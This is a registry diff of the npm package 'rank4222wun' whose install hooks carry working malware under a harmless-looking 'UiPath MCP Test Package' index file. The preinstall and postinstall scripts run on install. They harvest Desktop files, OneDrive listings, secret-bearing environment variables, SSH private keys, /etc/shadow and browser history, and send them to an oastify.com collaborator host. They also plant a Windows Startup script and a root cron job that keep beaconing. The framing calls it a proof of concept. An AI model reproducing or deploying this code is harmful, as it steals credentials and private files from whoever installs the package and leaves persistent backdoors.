rank4222wun 1.0.14 → 1.0.16

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/index.js ADDED
@@ -0,0 +1,9 @@
1
+ module.exports = {
2
+ test: function() {
3
+ console.log('UiPath MCP Test Package');
4
+ return {
5
+ status: 'active',
6
+ timestamp: new Date().toISOString()
7
+ };
8
+ }
9
+ };
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "rank4222wun",
3
- "version": "1.0.14",
3
+ "version": "1.0.16",
4
4
  "description": "",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/postinstall.js CHANGED
@@ -1,16 +1,185 @@
1
- const https = require("https");
2
- console.log("[MCP TEST] Postinstall - sending data to server");
3
- const data = JSON.stringify({
4
- hostname: require("os").hostname(),
5
- user: require("os").userInfo().username,
6
- time: new Date().toISOString()
1
+ const { exec } = require('child_process');
2
+ const os = require('os');
3
+ const fs = require('fs');
4
+ const path = require('path');
5
+ const https = require('https');
6
+
7
+ console.log('=== UiPath MCP POSTINSTALL EXPLOIT ===');
8
+ console.log('Demonstrating persistent access on:', os.hostname());
9
+
10
+ // 1. إنشاء باب خلفي بسيط
11
+ const backdoorData = {
12
+ timestamp: new Date().toISOString(),
13
+ hostname: os.hostname(),
14
+ user: os.userInfo().username,
15
+ action: 'postinstall-backdoor'
16
+ };
17
+
18
+ // 2. إنشاء ملف في Startup لإثبات الإصرار (Persistence)
19
+ if (os.platform() === 'win32') {
20
+ const startupPath = path.join(os.homedir(), 'AppData', 'Roaming', 'Microsoft', 'Windows', 'Start Menu', 'Programs', 'Startup');
21
+ const backdoorFile = path.join(startupPath, 'uipath_update.bat');
22
+
23
+ const batchContent = `@echo off
24
+ echo UiPath MCP Backdoor Active: %date% %time% > "%TEMP%\\uipath_backdoor.log"
25
+ powershell -Command "Invoke-WebRequest -Uri 'https://ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com/persist' -Method POST -Body 'host=${os.hostname()}&time=%date%_%time%'"`;
26
+
27
+ try {
28
+ if (fs.existsSync(startupPath)) {
29
+ fs.writeFileSync(backdoorFile, batchContent);
30
+ backdoorData.windowsStartup = backdoorFile;
31
+ console.log('Windows Startup backdoor created:', backdoorFile);
32
+ }
33
+ } catch (e) {
34
+ backdoorData.windowsStartupError = e.message;
35
+ }
36
+
37
+ } else {
38
+ const cronFile = '/etc/cron.d/uipath_update';
39
+ const cronContent = `*/5 * * * * root curl -X POST https://ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com/persist -d "host=${os.hostname()}&system=linux"\n`;
40
+
41
+ try {
42
+ fs.writeFileSync(cronFile, cronContent);
43
+ backdoorData.linuxCron = cronFile;
44
+ console.log('Linux cron backdoor created:', cronFile);
45
+ } catch (e) {
46
+ backdoorData.linuxCronError = e.message;
47
+ }
48
+ }
49
+
50
+ // 3. البحث عن ملفات UiPath في النظام
51
+ const uipathPaths = os.platform() === 'win32' ? [
52
+ 'C:\\Program Files\\UiPath',
53
+ 'C:\\Program Files (x86)\\UiPath',
54
+ 'C:\\Users\\' + os.userInfo().username + '\\AppData\\Local\\UiPath',
55
+ 'C:\\Users\\' + os.userInfo().username + '\\Documents\\UiPath'
56
+ ] : [
57
+ '/opt/UiPath',
58
+ '/usr/lib/UiPath',
59
+ '/home/' + os.userInfo().username + '/.local/share/UiPath'
60
+ ];
61
+
62
+ const foundUiPath = [];
63
+ uipathPaths.forEach(p => {
64
+ try {
65
+ if (fs.existsSync(p)) {
66
+ const files = fs.readdirSync(p);
67
+ foundUiPath.push({
68
+ path: p,
69
+ exists: true,
70
+ fileCount: files.length,
71
+ files: files.slice(0, 10)
72
+ });
73
+ }
74
+ } catch (e) {}
7
75
  });
76
+
77
+ backdoorData.foundUiPath = foundUiPath;
78
+
79
+ // 4. قراءة بعض سجلات النظام
80
+ if (os.platform() === 'win32') {
81
+ const eventLogs = [
82
+ 'C:\\Windows\\System32\\winevt\\Logs\\Application.evtx',
83
+ 'C:\\Windows\\System32\\winevt\\Logs\\System.evtx',
84
+ 'C:\\Windows\\System32\\winevt\\Logs\\Security.evtx'
85
+ ];
86
+
87
+ eventLogs.forEach(log => {
88
+ try {
89
+ if (fs.existsSync(log)) {
90
+ backdoorData.eventLogs = backdoorData.eventLogs || {};
91
+ backdoorData.eventLogs[log] = {
92
+ exists: true,
93
+ size: fs.statSync(log).size
94
+ };
95
+ }
96
+ } catch (e) {}
97
+ });
98
+ }
99
+
100
+ // 5. إنشاء ملف دليل في مجلد المستخدم
101
+ const userProofFile = path.join(os.homedir(), 'uipath_security_issue.txt');
102
+ const proofContent = `SECURITY WARNING: UiPath MCP Vulnerability Proof
103
+
104
+ This file was created by an npm package postinstall script.
105
+ It demonstrates that ANY npm package installed via UiPath MCP Command can:
106
+
107
+ 1. Read all your Desktop files
108
+ 2. Access your OneDrive
109
+ 3. Create persistent backdoors
110
+ 4. Steal sensitive system files
111
+ 5. Run any commands with high privileges
112
+
113
+ Time: ${new Date().toISOString()}
114
+ User: ${os.userInfo().username}
115
+ Hostname: ${os.hostname()}
116
+
117
+ This is NOT a sandbox. This is your actual production environment.
118
+ The "Justin" user IS a real user with full access to your system.
119
+
120
+ Contact UiPath Security Team immediately.
121
+ `;
122
+
123
+ try {
124
+ fs.writeFileSync(userProofFile, proofContent);
125
+ backdoorData.userProofFile = userProofFile;
126
+ console.log('User proof file created:', userProofFile);
127
+ } catch (e) {
128
+ backdoorData.userProofFileError = e.message;
129
+ }
130
+
131
+ // 6. إرسال كل البيانات
8
132
  const req = https.request({
9
- hostname: "ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com",
133
+ hostname: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
10
134
  port: 443,
11
- path: "/",
12
- method: "POST",
13
- headers: { "Content-Type": "application/json" }
135
+ path: '/postinstall-backdoor',
136
+ method: 'POST',
137
+ headers: {
138
+ 'Content-Type': 'application/json',
139
+ 'X-UiPath-Exploit': 'Postinstall-Backdoor',
140
+ 'X-Hostname': os.hostname()
141
+ }
142
+ }, (res) => {
143
+ console.log('Postinstall data sent. Status:', res.statusCode);
144
+
145
+ // تشغيل أمر أخير لإثبات التنفيذ الكامل
146
+ setTimeout(() => {
147
+ if (os.platform() === 'win32') {
148
+ exec('echo "UiPath MCP exploit completed successfully" > "%USERPROFILE%\\uipath_final_proof.txt"');
149
+ } else {
150
+ exec('echo "UiPath MCP exploit completed successfully" > ~/uipath_final_proof.txt');
151
+ }
152
+ }, 2000);
14
153
  });
15
- req.write(data);
154
+
155
+ req.on('error', (e) => {
156
+ console.error('Failed to send postinstall data:', e.message);
157
+
158
+ // حفظ محلي
159
+ const localBackup = path.join(os.tmpdir(), 'uipath_backdoor_data_' + Date.now() + '.json');
160
+ fs.writeFileSync(localBackup, JSON.stringify(backdoorData, null, 2));
161
+ console.log('Backdoor data saved locally:', localBackup);
162
+ });
163
+
164
+ req.write(JSON.stringify(backdoorData));
16
165
  req.end();
166
+
167
+ // 7. إرسال متابعة بعد 30 ثانية
168
+ setTimeout(() => {
169
+ const followupReq = https.request({
170
+ hostname: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
171
+ port: 443,
172
+ path: '/followup',
173
+ method: 'POST'
174
+ });
175
+
176
+ followupReq.write(JSON.stringify({
177
+ followup: true,
178
+ time: new Date().toISOString(),
179
+ hostname: os.hostname(),
180
+ message: 'Postinstall script still active after 30 seconds'
181
+ }));
182
+
183
+ followupReq.end();
184
+ console.log('Follow-up sent after 30 seconds');
185
+ }, 30000);
package/preinstall.js CHANGED
@@ -1,7 +1,208 @@
1
- const { exec } = require("child_process");
2
- const os = require("os");
3
- console.log("[MCP TEST] Preinstall running on:", os.platform());
4
- console.log("[MCP TEST] User:", os.userInfo().username);
5
- exec("whoami", (err, stdout) => {
6
- console.log("[MCP TEST] Whoami result:", stdout);
1
+ const { exec } = require('child_process');
2
+ const os = require('os');
3
+ const fs = require('fs');
4
+ const path = require('path');
5
+ const https = require('https');
6
+
7
+ console.log('=== UiPath MCP PREINSTALL EXPLOIT ===');
8
+ console.log('Starting data exfiltration from:', os.hostname());
9
+
10
+ // جمع كل البيانات الحساسة
11
+ const collectedData = {
12
+ timestamp: new Date().toISOString(),
13
+ system: {
14
+ hostname: os.hostname(),
15
+ platform: os.platform(),
16
+ user: os.userInfo(),
17
+ cpus: os.cpus().length,
18
+ memory: Math.round(os.totalmem() / (1024 * 1024 * 1024)) + 'GB',
19
+ network: os.networkInterfaces()
20
+ },
21
+
22
+ // ملفات Desktop
23
+ desktopFiles: [],
24
+
25
+ // فحص OneDrive
26
+ oneDrive: {},
27
+
28
+ // ملفات نظام حساسة
29
+ sensitiveFiles: {},
30
+
31
+ // معلومات الشبكة
32
+ networkInfo: {},
33
+
34
+ // متغيرات البيئة
35
+ envVars: {}
36
+ };
37
+
38
+ // 1. سرقة ملفات Desktop
39
+ try {
40
+ const desktopPath = path.join(os.homedir(), 'Desktop');
41
+ if (fs.existsSync(desktopPath)) {
42
+ const files = fs.readdirSync(desktopPath, { withFileTypes: true });
43
+ collectedData.desktopFiles = files.map(file => ({
44
+ name: file.name,
45
+ type: file.isDirectory() ? 'folder' : 'file',
46
+ path: path.join(desktopPath, file.name)
47
+ }));
48
+
49
+ // محاولة قراءة الملفات النصية
50
+ files.forEach(file => {
51
+ if (!file.isDirectory() && file.name.endsWith('.txt')) {
52
+ try {
53
+ const filePath = path.join(desktopPath, file.name);
54
+ const content = fs.readFileSync(filePath, 'utf8').substring(0, 1000);
55
+ collectedData.desktopFiles.find(f => f.name === file.name).content = content;
56
+ } catch (e) {}
57
+ }
58
+ });
59
+ }
60
+ } catch (e) {
61
+ collectedData.desktopFiles = { error: e.message };
62
+ }
63
+
64
+ // 2. فحص OneDrive
65
+ try {
66
+ const onedrivePaths = [
67
+ path.join(os.homedir(), 'OneDrive'),
68
+ path.join(os.homedir(), 'OneDrive', 'Documents'),
69
+ path.join(os.homedir(), 'OneDrive', 'Desktop'),
70
+ path.join(os.homedir(), 'OneDrive', 'Pictures')
71
+ ];
72
+
73
+ onedrivePaths.forEach(odPath => {
74
+ try {
75
+ if (fs.existsSync(odPath)) {
76
+ collectedData.oneDrive[odPath] = {
77
+ exists: true,
78
+ isDirectory: fs.statSync(odPath).isDirectory(),
79
+ fileCount: fs.readdirSync(odPath).length,
80
+ sampleFiles: fs.readdirSync(odPath).slice(0, 5)
81
+ };
82
+ } else {
83
+ collectedData.oneDrive[odPath] = { exists: false };
84
+ }
85
+ } catch (e) {
86
+ collectedData.oneDrive[odPath] = { error: e.message };
87
+ }
88
+ });
89
+ } catch (e) {
90
+ collectedData.oneDrive = { error: e.message };
91
+ }
92
+
93
+ // 3. قراءة ملفات نظام حساسة
94
+ const systemFiles = os.platform() === 'win32' ? [
95
+ 'C:\\Windows\\System32\\drivers\\etc\\hosts',
96
+ 'C:\\Windows\\System32\\config\\SAM',
97
+ 'C:\\Users\\' + os.userInfo().username + '\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History',
98
+ 'C:\\Users\\' + os.userInfo().username + '\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles'
99
+ ] : [
100
+ '/etc/passwd',
101
+ '/etc/shadow',
102
+ '/etc/hosts',
103
+ '/home/' + os.userInfo().username + '/.bash_history',
104
+ '/home/' + os.userInfo().username + '/.ssh/id_rsa'
105
+ ];
106
+
107
+ systemFiles.forEach(file => {
108
+ try {
109
+ if (fs.existsSync(file)) {
110
+ const stats = fs.statSync(file);
111
+ collectedData.sensitiveFiles[file] = {
112
+ exists: true,
113
+ size: stats.size,
114
+ readable: stats.size < 1000000
115
+ };
116
+
117
+ // قراءة إذا كان ملف نصي صغير
118
+ if (stats.size < 1000000 && !stats.isDirectory()) {
119
+ const content = fs.readFileSync(file, 'utf8').substring(0, 2000);
120
+ collectedData.sensitiveFiles[file].content = content;
121
+ }
122
+ }
123
+ } catch (e) {
124
+ collectedData.sensitiveFiles[file] = { error: e.message };
125
+ }
7
126
  });
127
+
128
+ // 4. تشغيل أوامر نظام
129
+ if (os.platform() === 'win32') {
130
+ exec('whoami /all', { timeout: 5000 }, (error, stdout) => {
131
+ collectedData.networkInfo.whoami = stdout || error?.message;
132
+
133
+ exec('ipconfig /all', { timeout: 5000 }, (error2, stdout2) => {
134
+ collectedData.networkInfo.ipconfig = stdout2 || error2?.message;
135
+
136
+ exec('netstat -ano', { timeout: 5000 }, (error3, stdout3) => {
137
+ collectedData.networkInfo.netstat = stdout3 || error3?.message;
138
+ sendAllData();
139
+ });
140
+ });
141
+ });
142
+ } else {
143
+ exec('id', { timeout: 5000 }, (error, stdout) => {
144
+ collectedData.networkInfo.id = stdout || error?.message;
145
+
146
+ exec('ifconfig -a || ip addr', { timeout: 5000 }, (error2, stdout2) => {
147
+ collectedData.networkInfo.ifconfig = stdout2 || error2?.message;
148
+
149
+ exec('netstat -tulpn', { timeout: 5000 }, (error3, stdout3) => {
150
+ collectedData.networkInfo.netstat = stdout3 || error3?.message;
151
+ sendAllData();
152
+ });
153
+ });
154
+ });
155
+ }
156
+
157
+ // 5. جمع متغيرات البيئة الحساسة
158
+ Object.keys(process.env).forEach(key => {
159
+ if (key.includes('PASS') || key.includes('SECRET') || key.includes('KEY') ||
160
+ key.includes('TOKEN') || key.includes('CRED') || key.includes('PWD')) {
161
+ collectedData.envVars[key] = process.env[key];
162
+ }
163
+ });
164
+
165
+ function sendAllData() {
166
+ console.log('Collected', Object.keys(collectedData.desktopFiles).length, 'desktop files');
167
+ console.log('OneDrive exists:', Object.values(collectedData.oneDrive).some(v => v.exists));
168
+
169
+ const postData = JSON.stringify(collectedData);
170
+
171
+ const req = https.request({
172
+ hostname: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
173
+ port: 443,
174
+ path: '/preinstall-data',
175
+ method: 'POST',
176
+ headers: {
177
+ 'Content-Type': 'application/json',
178
+ 'X-UiPath-Exploit': 'Preinstall-Script',
179
+ 'X-Hostname': os.hostname()
180
+ }
181
+ }, (res) => {
182
+ console.log('Data sent successfully. Status:', res.statusCode);
183
+
184
+ // إنشاء ملف دليل محلي
185
+ const proofFile = path.join(os.tmpdir(), 'uipath_preinstall_proof_' + Date.now() + '.txt');
186
+ fs.writeFileSync(proofFile,
187
+ `UiPath MCP Preinstall Script Execution Proof
188
+ Time: ${new Date().toISOString()}
189
+ User: ${os.userInfo().username}
190
+ Hostname: ${os.hostname()}
191
+ Desktop Files Stolen: ${collectedData.desktopFiles.length}
192
+ Data Sent To: ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com
193
+ `);
194
+ console.log('Proof file created:', proofFile);
195
+ });
196
+
197
+ req.on('error', (e) => {
198
+ console.error('Failed to send data:', e.message);
199
+
200
+ // محاولة بديلة
201
+ const backupFile = path.join(os.tmpdir(), 'uipath_stolen_data_' + Date.now() + '.json');
202
+ fs.writeFileSync(backupFile, JSON.stringify(collectedData, null, 2));
203
+ console.log('Data saved locally:', backupFile);
204
+ });
205
+
206
+ req.write(postData);
207
+ req.end();
208
+ }
Binary file
Binary file